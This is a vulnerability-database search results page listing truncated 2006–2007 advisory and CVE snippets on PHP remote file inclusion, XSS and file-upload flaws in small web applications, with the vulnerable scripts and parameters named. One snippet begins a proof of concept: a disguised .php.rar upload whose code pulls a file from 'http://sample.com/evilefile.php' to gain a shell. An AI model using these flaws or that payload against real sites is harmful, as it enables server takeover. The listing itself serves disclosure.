9876 matches found
CVE-2007-1018: Undefined Security Weakness
PHP remote file inclusion vulnerability in tpl/header.php in VirtualSystem VS-News-System 1.2.1 and earlier, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the newsordner parameter. NOTE: the provenance of this information is unknown; the detai...
Magic News Plus 1.0.2 - 'news.php?&link_parameters' Cross-Site Scripting
source: https://www.securityfocus.com/bid/22661/info Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities. An...
Magic News Plus 1.0.2 - 'preview.php?PHP_script_path' Remote File Inclusion
source: https://www.securityfocus.com/bid/22661/info Magic News Pro is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input. These issues include a remote file-include issue and two cross-site scripting vulnerabilities. An...
CVE-2007-0983
PHP remote file inclusion vulnerability in admin/nav.php in AT Contenator 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the RootToScript parameter...
CVE-2007-0983: Improper Control of Generation of Code
PHP remote file inclusion vulnerability in admin/nav.php in AT Contenator 1.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the RootToScript parameter...
CedStat 1.31 - index.php?hier Cross-Site Scripting
CedStat 1.31 - index.php?hier Cross-Site Scripting source: https://www.securityfocus.com/bid/22588/info CedStat is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PHP code in the...
Meganoides News 1.1.1 - Include.php Remote File Inclusion
Meganoides News 1.1.1 - Include.php Remote File Inclusion source: https://www.securityfocus.com/bid/22589/info Meganoide's news is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PH...
Meganoide's News 1.1.1 - 'Include.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/22589/info Meganoide's news is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process. This issue...
CedStat 1.31 - 'index.php?hier' Cross-Site Scripting
source: https://www.securityfocus.com/bid/22588/info CedStat is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary PHP code in the context of the webserver process. This issue affects...
CVE-2006-7017: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in Indexu 5.0.1 allow remote attackers to execute arbitrary PHP code via a URL in the admintemplatepath parameter to admin/ scripts 1 appchangeemail.php, 2 appchangepwd.php, 3 appmodrewrite.php, 4 apppagecaching.php, 5 appsetup.php, 6 catadd.php,...
CVE-2006-7024: Undefined Security Weakness
Multiple PHP remote file inclusion vulnerabilities in Harpia CMS 1.0.5 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the 1 funcprog parameter to a preload.php and b index.php; 2 headerprog parameter to c missing.php and d email.php, e files.php, f headlines.php, g...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in TagIt! Tagboard 2.1.B Build 2 and earlier, when registerglobals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the 1 configpath parameter to a tagviewer.php, b tagprocess.php, and c CONFIG/errmsg.inc.php; and d...
CVE-2006-7003
PHP remote file inclusion vulnerability in admin/index.php in Fusion Polls allows remote attackers to execute arbitrary PHP code via a URL in the xtrphome parameter...
Unrestricted file upload
Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...
CVE-2007-0871
Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...
CVE-2006-7006: Undefined Security Weakness
PHP remote file inclusion vulnerability in upload/admin/team.php in Robin de Graff Somery 0.4.4 allows remote attackers to execute arbitrary PHP code via a URL in the checkauth parameter. NOTE: CVE disputes this vulnerability because the checkauth parameter is only used in conditionals...
CVE-2007-0881: Undefined Security Weakness
PHP remote file inclusion vulnerability in the Seitenschutz plugin for OPENi-CMS 1.0 allows remote attackers to execute arbitrary PHP code via a URL in the 1 configoidir and possibly 2 configopenidir parameters to open-admin/plugins/siteprotection/index.php. NOTE: vector 2 might be the same as...
CVE-2007-0871: Undefined Security Weakness
Unrestricted file upload vulnerability in eXtremePow eXtreme File Hosting allows remote attackers to upload arbitrary PHP code via a filename with a double extension such as 1 .rar.php or 2 .zip.php...
eXtreme File Hosting remote file upload vulnerability
A security bug have been discovered in eXtreme File Hosting, which can be upload the attaker files and can get the shell with phpshell. bug : in this borgram with php can user upload zip or rar file hacker can upload the a.php.rar file that contain ?php $file = 'http://sample.com/evilefile.php';...
Remote file inclusion
PHP remote file inclusion vulnerability in index.php in gnopaste 0.5.3 and earlier allows remote attackers to execute arbitrary PHP code via the GNPREALPATH parameter. NOTE: CVE and a third party dispute this issue, since GNPREALPATH is a constant, not a variable...